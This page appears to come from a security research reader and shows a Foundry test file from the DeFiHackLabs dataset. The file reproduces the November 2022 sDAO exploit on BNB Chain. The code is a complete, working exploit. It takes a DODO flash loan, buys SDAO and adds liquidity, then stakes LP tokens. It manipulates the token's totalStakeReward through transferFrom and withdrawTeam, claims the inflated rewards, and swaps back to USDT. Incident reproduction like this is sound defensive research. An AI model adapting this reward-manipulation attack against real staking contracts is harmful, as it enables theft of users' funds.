Public reproduction file
src/test/2022-11/SDAO_exp.sol
Public reproduction file for dataset entry - sDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/8olidity/status/15946936863983165449// https://twitter.com/CertiKAlert/status/159461528655639347810// @TX11// https://bscscan.com/tx/0xb3ac111d294ea9dedfd99349304a9606df0b572d05da8cedf47ba169d10791ed13interface sDAO is IERC20 {14 function stakeLP(15 uint256 _lpAmount16 ) external;17 function withdrawTeam(18 address _token19 ) external;20 function getPerTokenReward() external view returns (uint256);21 function userLPStakeAmount(22 address account23 ) external view returns (uint256);24 function userRewardPerTokenPaid(25 address account26 ) external view returns (uint256);27 function totalStakeReward() external view returns (uint256);28 function lastTotalStakeReward() external view returns (uint256);29 function pendingToken(30 address account31 ) external view returns (uint256);32 function getReward() external;33}35contract ContractTest is Test {36 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);37 sDAO SDAO = sDAO(0x6666625Ab26131B490E7015333F97306F05Bf816);38 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);39 Uni_Pair_V2 Pair = Uni_Pair_V2(0x333896437125fF680f146f18c8A164Be831C4C71);40 address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);44 function setUp() public {45 cheats.createSelectFork("bsc", 23_241_440);46 }48 function testExploit() public {49 USDT.approve(address(Router), type(uint256).max);50 SDAO.approve(address(Router), type(uint256).max);51 Pair.approve(address(Router), type(uint256).max);52 Pair.approve(address(SDAO), type(uint256).max);53 SDAO.approve(address(this), type(uint256).max);54 DVM(dodo).flashLoan(0, 500 * 1e18, address(this), new bytes(1));56 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);57 }59 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {60 USDTToSDAO();61 addUSDTsDAOLiquidity();62 SDAO.stakeLP(Pair.balanceOf(address(this)) / 2);63 // SDAO.transfer(address(Pair), SDAO.balanceOf(address(this)));64 SDAO.transferFrom(address(this), address(Pair), SDAO.balanceOf(address(this))); // change totalStakeReward > lastTotalStakeReward65 SDAO.withdrawTeam(address(Pair));66 Pair.transfer(address(SDAO), 13 * 1e15);67 // uint total = SDAO.totalStakeReward();68 // uint lasttotal =SDAO.lastTotalStakeReward();69 // uint stake = SDAO.userLPStakeAmount(address(this));70 // uint paid = SDAO.userRewardPerTokenPaid(address(this));71 // uint reward = SDAO.getPerTokenReward();72 // uint pending = SDAO.pendingToken(address(this));73 SDAO.getReward();74 SDAOToUSDT();75 USDT.transfer(dodo, 500 * 1e18);76 }78 function USDTToSDAO() internal {79 address[] memory path = new address[](2);80 path[0] = address(USDT);81 path[1] = address(SDAO);82 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(83 250 * 1e18, 0, path, address(this), block.timestamp + 6084 );85 }87 function addUSDTsDAOLiquidity() internal {88 Router.addLiquidity(89 address(USDT),90 address(SDAO),91 USDT.balanceOf(address(this)),92 SDAO.balanceOf(address(this)) / 2,93 0,94 0,95 address(this),96 block.timestamp + 6097 );98 }100 function SDAOToUSDT() internal {101 address[] memory path = new address[](2);102 path[0] = address(SDAO);103 path[1] = address(USDT);104 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(105 SDAO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60106 );107 }108}Analysis
Dataset entry
Public Foundry test for “- sDAO” (2022-11-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
- src/test/2022-10/OlympusDao_exp.solSame protocol or name in the dataset · 61 lines
- src/test/2026-05/YSDAO_exp.solSame protocol or name in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- sDAO
- Path
- src/test/2022-11/SDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f871a82f3d0fe09418797b2a781a6a51cf694b33
- Language
- Solidity
- Size
- 109 lines
- Date
- 2022-11-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/SDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f871a82f3d0fe09418797b2a781a6a51cf694b33, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.